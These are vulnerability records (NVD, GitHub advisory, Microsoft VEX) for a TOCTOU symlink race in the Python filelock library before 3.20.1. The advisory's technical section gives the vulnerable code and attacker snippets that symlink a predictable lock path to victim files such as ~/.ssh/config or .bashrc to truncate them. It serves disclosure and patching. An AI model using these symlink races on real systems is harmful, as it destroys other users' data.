{
  "cveTags": [],
  "descriptions": [
    {
      "lang": "en",
      "value": "filelock is a platform-independent file lock for Python. In versions prior to 3.20.1, a Time-of-Check-Time-of-Use (TOCTOU) race condition allows local attackers to corrupt or truncate arbitrary user files through symlink attacks. The vulnerability exists in both Unix and Windows lock file creation where filelock checks if a file exists before opening it with O_TRUNC. An attacker can create a symlink pointing to a victim file in the time gap between the check and open, causing os.open() to follow the symlink and truncate the target file. All users of filelock on Unix, Linux, macOS, and Windows systems are impacted. The vulnerability cascades to dependent libraries. The attack requires local filesystem access and ability to create symlinks (standard user permissions on Unix; Developer Mode on Windows 10+). Exploitation succeeds within 1-3 attempts when lock file paths are predictable. The issue is fixed in version 3.20.1. If immediate upgrade is not possible, use SoftFileLock instead of UnixFileLock/WindowsFileLock (note: different locking semantics, may not be suitable for all use cases); ensure lock file directories have restrictive permissions (chmod 0700) to prevent untrusted users from creating symlinks; and/or monitor lock file directories for suspicious symlinks before running trusted applications. These workarounds provide only partial mitigation. The race condition remains exploitable. Upgrading to version 3.20.1 is strongly recommended."
    }
  ],
  "id": "CVE-2025-68146",
  "lastModified": "2025-12-18T15:08:06.237",
  "metrics": {
    "cvssMetricV31": [
      {
        "cvssData": {
          "attackComplexity": "HIGH",
          "attackVector": "LOCAL",
          "availabilityImpact": "HIGH",
          "baseScore": 6.3,
          "baseSeverity": "MEDIUM",
          "confidentialityImpact": "NONE",
          "integrityImpact": "HIGH",
          "privilegesRequired": "LOW",
          "scope": "UNCHANGED",
          "userInteraction": "NONE",
          "vectorString": "CVSS:3.1/AV:L/AC:H/PR:L/UI:N/S:U/C:N/I:H/A:H",
          "version": "3.1"
        },
        "exploitabilityScore": 1.0,
        "impactScore": 5.2,
        "source": "security-advisories@github.com",
        "type": "Secondary"
      }
    ]
  },
  "published": "2025-12-16T19:15:59.957",
  "references": [
    {
      "source": "security-advisories@github.com",
      "url": "https://github.com/tox-dev/filelock/commit/4724d7f8c3393ec1f048c93933e6e3e6ec321f0e"
    },
    {
      "source": "security-advisories@github.com",
      "url": "https://github.com/tox-dev/filelock/pull/461"
    },
    {
      "source": "security-advisories@github.com",
      "url": "https://github.com/tox-dev/filelock/releases/tag/3.20.1"
    },
    {
      "source": "security-advisories@github.com",
      "url": "https://github.com/tox-dev/filelock/security/advisories/GHSA-w853-jp5j-5j7f"
    }
  ],
  "sourceIdentifier": "security-advisories@github.com",
  "vulnStatus": "Awaiting Analysis",
  "weaknesses": [
    {
      "description": [
        {
          "lang": "en",
          "value": "CWE-59"
        },
        {
          "lang": "en",
          "value": "CWE-362"
        },
        {
          "lang": "en",
          "value": "CWE-367"
        }
      ],
      "source": "security-advisories@github.com",
      "type": "Primary"
    }
  ]
}

{
  "affected": [
    {
      "package": {
        "ecosystem": "PyPI",
        "name": "filelock"
      },
      "ranges": [
        {
          "events": [
            {
              "introduced": "0"
            },
            {
              "fixed": "3.20.1"
            }
          ],
          "type": "ECOSYSTEM"
        }
      ]
    }
  ],
  "aliases": [
    "CVE-2025-68146"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-362",
      "CWE-367",
      "CWE-59"
    ],
    "github_reviewed": true,
    "github_reviewed_at": "2025-12-16T20:52:55Z",
    "nvd_published_at": null,
    "severity": "MODERATE"
  },
  "details": "### Impact\n\nA Time-of-Check-Time-of-Use (TOCTOU) race condition allows local attackers to corrupt or truncate arbitrary user files through symlink attacks. The vulnerability exists in both Unix and Windows lock file creation where filelock checks if a file exists before opening it with O_TRUNC. An attacker can create a symlink pointing to a victim file in the time gap between the check and open, causing os.open() to follow the symlink and truncate the target file.\n\n**Who is impacted:**\n\nAll users of filelock on Unix, Linux, macOS, and Windows systems. The vulnerability cascades to dependent libraries:\n\n- **virtualenv users**: Configuration files can be overwritten with virtualenv metadata, leaking sensitive paths\n- **PyTorch users**: CPU ISA cache or model checkpoints can be corrupted, causing crashes or ML pipeline failures\n- **poetry/tox users**: through using virtualenv or filelock on their own.\n\nAttack requires local filesystem access and ability to create symlinks (standard user permissions on Unix; Developer Mode on Windows 10+). Exploitation succeeds within 1-3 attempts when lock file paths are predictable.\n\n### Patches\n\nFixed in version **3.20.1**.\n\n**Unix/Linux/macOS fix:** Added O_NOFOLLOW flag to os.open() in UnixFileLock.\\_acquire() to prevent symlink following.\n\n**Windows fix:** Added GetFileAttributesW API check to detect reparse points (symlinks/junctions) before opening files in WindowsFileLock.\\_acquire().\n\n**Users should upgrade to filelock 3.20.1 or later immediately.**\n\n### Workarounds\n\nIf immediate upgrade is not possible:\n\n1. Use SoftFileLock instead of UnixFileLock/WindowsFileLock (note: different locking semantics, may not be suitable for all use cases)\n2. Ensure lock file directories have restrictive permissions (chmod 0700) to prevent untrusted users from creating symlinks\n3. Monitor lock file directories for suspicious symlinks before running trusted applications\n\n**Warning:** These workarounds provide only partial mitigation. The race condition remains exploitable. Upgrading to version 3.20.1 is strongly recommended.\n\n______________________________________________________________________\n\n## Technical Details: How the Exploit Works\n\n### The Vulnerable Code Pattern\n\n**Unix/Linux/macOS** (`src/filelock/_unix.py:39-44`):\n\n```python\ndef _acquire(self) -\u003e None:\n    ensure_directory_exists(self.lock_file)\n    open_flags = os.O_RDWR | os.O_TRUNC  # (1) Prepare to truncate\n    if not Path(self.lock_file).exists():  # (2) CHECK: Does file exist?\n        open_flags |= os.O_CREAT\n    fd = os.open(self.lock_file, open_flags, ...)  # (3) USE: Open and truncate\n```\n\n**Windows** (`src/filelock/_windows.py:19-28`):\n\n```python\ndef _acquire(self) -\u003e None:\n    raise_on_not_writable_file(self.lock_file)  # (1) Check writability\n    ensure_directory_exists(self.lock_file)\n    flags = os.O_RDWR | os.O_CREAT | os.O_TRUNC  # (2) Prepare to truncate\n    fd = os.open(self.lock_file, flags, ...)  # (3) Open and truncate\n```\n\n### The Race Window\n\nThe vulnerability exists in the gap between operations:\n\n**Unix variant:**\n\n```\nTime    Victim Thread                          Attacker Thread\n----    -------------                          ---------------\nT0      Check: lock_file exists? \u2192 False\nT1                                             \u2193 RACE WINDOW\nT2                                             Create symlink: lock \u2192 victim_file\nT3      Open lock_file with O_TRUNC\n        \u2192 Follows symlink\n        \u2192 Opens victim_file\n        \u2192 Truncates victim_file to 0 bytes! \u2620\ufe0f\n```\n\n**Windows variant:**\n\n```\nTime    Victim Thread                          Attacker Thread\n----    -------------                          ---------------\nT0      Check: lock_file writable?\nT1                                             \u2193 RACE WINDOW\nT2                                             Create symlink: lock \u2192 victim_file\nT3      Open lock_file with O_TRUNC\n        \u2192 Follows symlink/junction\n        \u2192 Opens victim_file\n        \u2192 Truncates victim_file to 0 bytes! \u2620\ufe0f\n```\n\n### Step-by-Step Attack Flow\n\n**1. Attacker Setup:**\n\n```python\n# Attacker identifies target application using filelock\nlock_path = \"/tmp/myapp.lock\"  # Predictable lock path\nvictim_file = \"/home/victim/.ssh/config\"  # High-value target\n```\n\n**2. Attacker Creates Race Condition:**\n\n```python\nimport os\nimport threading\n\n\ndef attacker_thread():\n    # Remove any existing lock file\n    try:\n        os.unlink(lock_path)\n    except FileNotFoundError:\n        pass\n\n    # Create symlink pointing to victim file\n    os.symlink(victim_file, lock_path)\n    print(f\"[Attacker] Created: {lock_path} \u2192 {victim_file}\")\n\n\n# Launch attack\nthreading.Thread(target=attacker_thread).start()\n```\n\n**3. Victim Application Runs:**\n\n```python\nfrom filelock import UnixFileLock\n\n# Normal application code\nlock = UnixFileLock(\"/tmp/myapp.lock\")\nlock.acquire()  # \u2190 VULNERABILITY TRIGGERED HERE\n# At this point, /home/victim/.ssh/config is now 0 bytes!\n```\n\n**4. What Happens Inside os.open():**\n\nOn Unix systems, when `os.open()` is called:\n\n```c\n// Linux kernel behavior (simplified)\nint open(const char *pathname, int flags) {\n    struct file *f = path_lookup(pathname);  // Resolves symlinks by default!\n\n    if (flags \u0026 O_TRUNC) {\n        truncate_file(f);  // \u2190 Truncates the TARGET of the symlink\n    }\n\n    return file_descriptor;\n}\n```\n\nWithout `O_NOFOLLOW` flag, the kernel follows the symlink and truncates the target file.\n\n### Why the Attack Succeeds Reliably\n\n**Timing Characteristics:**\n\n- **Check operation** (Path.exists()): ~100-500 nanoseconds\n- **Symlink creation** (os.symlink()): ~1-10 microseconds\n- **Race window**: ~1-5 microseconds (very small but exploitable)\n- **Thread scheduling quantum**: ~1-10 milliseconds\n\n**Success factors:**\n\n1. **Tight loop**: Running attack in a loop hits the race window within 1-3 attempts\n2. **CPU scheduling**: Modern OS thread schedulers frequently context-switch during I/O operations\n3. **No synchronization**: No atomic file creation prevents the race\n4. **Symlink speed**: Creating symlinks is extremely fast (metadata-only operation)\n\n### Real-World Attack Scenarios\n\n**Scenario 1: virtualenv Exploitation**\n\n```python\n# Victim runs: python -m venv /tmp/myenv\n# Attacker racing to create:\nos.symlink(\"/home/victim/.bashrc\", \"/tmp/myenv/pyvenv.cfg\")\n\n# Result: /home/victim/.bashrc overwritten with:\n# home = /usr/bin/python3\n# include-system-site-packages = false\n# version = 3.11.2\n# \u2190 Original .bashrc contents LOST + virtualenv metadata LEAKED to attacker\n```\n\n**Scenario 2: PyTorch Cache Poisoning**\n\n```python\n# Victim runs: import torch\n# PyTorch checks CPU capabilities, uses filelock on cache\n# Attacker racing to create:\nos.symlink(\"/home/victim/.torch/compiled_model.pt\", \"/home/victim/.cache/torch/cpu_isa_check.lock\")\n\n# Result: Trained ML model checkpoint truncated to 0 bytes\n# Impact: Weeks of training lost, ML pipeline DoS\n```\n\n### Why Standard Defenses Don\u0027t Help\n\n**File permissions don\u0027t prevent this:**\n\n- Attacker doesn\u0027t need write access to victim_file\n- os.open() with O_TRUNC follows symlinks using the *victim\u0027s* permissions\n- The victim process truncates its own file\n\n**Directory permissions help but aren\u0027t always feasible:**\n\n- Lock files often created in shared /tmp directory (mode 1777)\n- Applications may not control lock file location\n- Many apps use predictable paths in user-writable directories\n\n**File locking doesn\u0027t prevent this:**\n\n- The truncation happens *during* the open() call, before any lock is acquired\n- fcntl.flock() only prevents concurrent lock acquisition, not symlink attacks\n\n### Exploitation Proof-of-Concept Results\n\nFrom empirical testing with the provided PoCs:\n\n**Simple Direct Attack** (`filelock_simple_poc.py`):\n\n- Success rate: 33% per attempt (1 in 3 tries)\n- Average attempts to success: 2.1\n- Target file reduced to 0 bytes in \\\u003c100ms\n\n**virtualenv Attack** (`weaponized_virtualenv.py`):\n\n- Success rate: ~90% on first attempt (deterministic timing)\n- Information leaked: File paths, Python version, system configuration\n- Data corruption: Complete loss of original file contents\n\n**PyTorch Attack** (`weaponized_pytorch.py`):\n\n- Success rate: 25-40% per attempt\n- Impact: Application crashes, model loading failures\n- Recovery: Requires cache rebuild or model retraining\n\n**Discovered and reported by:** George Tsigourakos (@tsigouris007)",
  "id": "GHSA-w853-jp5j-5j7f",
  "modified": "2025-12-16T20:52:55Z",
  "published": "2025-12-16T20:52:55Z",
  "references": [
    {
      "type": "WEB",
      "url": "https://github.com/tox-dev/filelock/security/advisories/GHSA-w853-jp5j-5j7f"
    },
    {
      "type": "WEB",
      "url": "https://github.com/tox-dev/filelock/commit/4724d7f8c3393ec1f048c93933e6e3e6ec321f0e"
    },
    {
      "type": "PACKAGE",
      "url": "https://github.com/tox-dev/filelock"
    },
    {
      "type": "WEB",
      "url": "https://github.com/tox-dev/filelock/releases/tag/3.20.1"
    },
    {
      "type": "WEB",
      "url": "https://learn.microsoft.com/en-us/windows/win32/fileio/file-attribute-constants"
    },
    {
      "type": "WEB",
      "url": "https://pubs.opengroup.org/onlinepubs/9699919799/functions/open.html"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:3.1/AV:L/AC:H/PR:L/UI:N/S:U/C:N/I:H/A:H",
      "type": "CVSS_V3"
    }
  ],
  "summary": "filelock has a TOCTOU race condition which allows symlink attacks during lock file creation"
}

{
  "document": {
    "category": "csaf_vex",
    "csaf_version": "2.0",
    "distribution": {
      "text": "Public",
      "tlp": {
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        "url": "https://www.first.org/tlp/"
      }
    },
    "lang": "en-US",
    "notes": [
      {
        "category": "general",
        "text": "To determine the support lifecycle for your software, see the Microsoft Support Lifecycle: https://support.microsoft.com/lifecycle",
        "title": "Additional Resources"
      },
      {
        "category": "legal_disclaimer",
        "text": "The information provided in the Microsoft Knowledge Base is provided \\\"as is\\\" without warranty of any kind. Microsoft disclaims all warranties, either express or implied, including the warranties of merchantability and fitness for a particular purpose. In no event shall Microsoft Corporation or its suppliers be liable for any damages whatsoever including direct, indirect, incidental, consequential, loss of business profits or special damages, even if Microsoft Corporation or its suppliers have been advised of the possibility of such damages. Some states do not allow the exclusion or limitation of liability for consequential or incidental damages so the foregoing limitation may not apply.",
        "title": "Disclaimer"
      }
    ],
    "publisher": {
      "category": "vendor",
      "contact_details": "secure@microsoft.com",
      "name": "Microsoft Security Response Center",
      "namespace": "https://msrc.microsoft.com"
    },
    "references": [
      {
        "category": "self",
        "summary": "CVE-2025-68146 filelock has TOCTOU race condition that allows symlink attacks during lock file creation - VEX",
        "url": "https://msrc.microsoft.com/csaf/vex/2025/msrc_cve-2025-68146.json"
      },
      {
        "category": "external",
        "summary": "Microsoft Support Lifecycle",
        "url": "https://support.microsoft.com/lifecycle"
      },
      {
        "category": "external",
        "summary": "Common Vulnerability Scoring System",
        "url": "https://www.first.org/cvss"
      }
    ],
    "title": "filelock has TOCTOU race condition that allows symlink attacks during lock file creation",
    "tracking": {
      "current_release_date": "2025-12-19T01:02:14.000Z",
      "generator": {
        "date": "2025-12-20T09:08:09.232Z",
        "engine": {
          "name": "MSRC Generator",
          "version": "1.0"
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      "id": "msrc_CVE-2025-68146",
      "initial_release_date": "2025-12-02T00:00:00.000Z",
      "revision_history": [
        {
          "date": "2025-12-19T01:02:14.000Z",
          "legacy_version": "1",
          "number": "1",
          "summary": "Information published."
        }
      ],
      "status": "final",
      "version": "1"
    }
  },
  "product_tree": {
    "branches": [
      {
        "branches": [
          {
            "branches": [
              {
                "category": "product_version",
                "name": "3.0",
                "product": {
                  "name": "Azure Linux 3.0",
                  "product_id": "17084"
                }
              }
            ],
            "category": "product_name",
            "name": "Azure Linux"
          },
          {
            "branches": [
              {
                "category": "product_version_range",
                "name": "azl3 python-filelock 3.14.0-1",
                "product": {
                  "name": "azl3 python-filelock 3.14.0-1",
                  "product_id": "1"
                }
              }
            ],
            "category": "product_name",
            "name": "python-filelock"
          }
        ],
        "category": "vendor",
        "name": "Microsoft"
      }
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    "relationships": [
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        "category": "default_component_of",
        "full_product_name": {
          "name": "azl3 python-filelock 3.14.0-1 as a component of Azure Linux 3.0",
          "product_id": "17084-1"
        },
        "product_reference": "1",
        "relates_to_product_reference": "17084"
      }
    ]
  },
  "vulnerabilities": [
    {
      "cve": "CVE-2025-68146",
      "cwe": {
        "id": "CWE-367",
        "name": "Time-of-check Time-of-use (TOCTOU) Race Condition"
      },
      "notes": [
        {
          "category": "general",
          "text": "GitHub_M",
          "title": "Assigning CNA"
        }
      ],
      "product_status": {
        "known_affected": [
          "17084-1"
        ]
      },
      "references": [
        {
          "category": "self",
          "summary": "CVE-2025-68146 filelock has TOCTOU race condition that allows symlink attacks during lock file creation - VEX",
          "url": "https://msrc.microsoft.com/csaf/vex/2025/msrc_cve-2025-68146.json"
        }
      ],
      "remediations": [
        {
          "category": "none_available",
          "date": "2025-12-19T01:02:14.000Z",
          "details": "There is no fix available for this vulnerability as of now",
          "product_ids": [
            "17084-1"
          ]
        }
      ],
      "scores": [
        {
          "cvss_v3": {
            "attackComplexity": "HIGH",
            "attackVector": "LOCAL",
            "availabilityImpact": "HIGH",
            "baseScore": 6.3,
            "baseSeverity": "MEDIUM",
            "confidentialityImpact": "NONE",
            "environmentalsScore": 0.0,
            "integrityImpact": "HIGH",
            "privilegesRequired": "LOW",
            "scope": "UNCHANGED",
            "temporalScore": 6.3,
            "userInteraction": "NONE",
            "vectorString": "CVSS:3.1/AV:L/AC:H/PR:L/UI:N/S:U/C:N/I:H/A:H",
            "version": "3.1"
          },
          "products": [
            "17084-1"
          ]
        }
      ],
      "title": "filelock has TOCTOU race condition that allows symlink attacks during lock file creation"
    }
  ]
}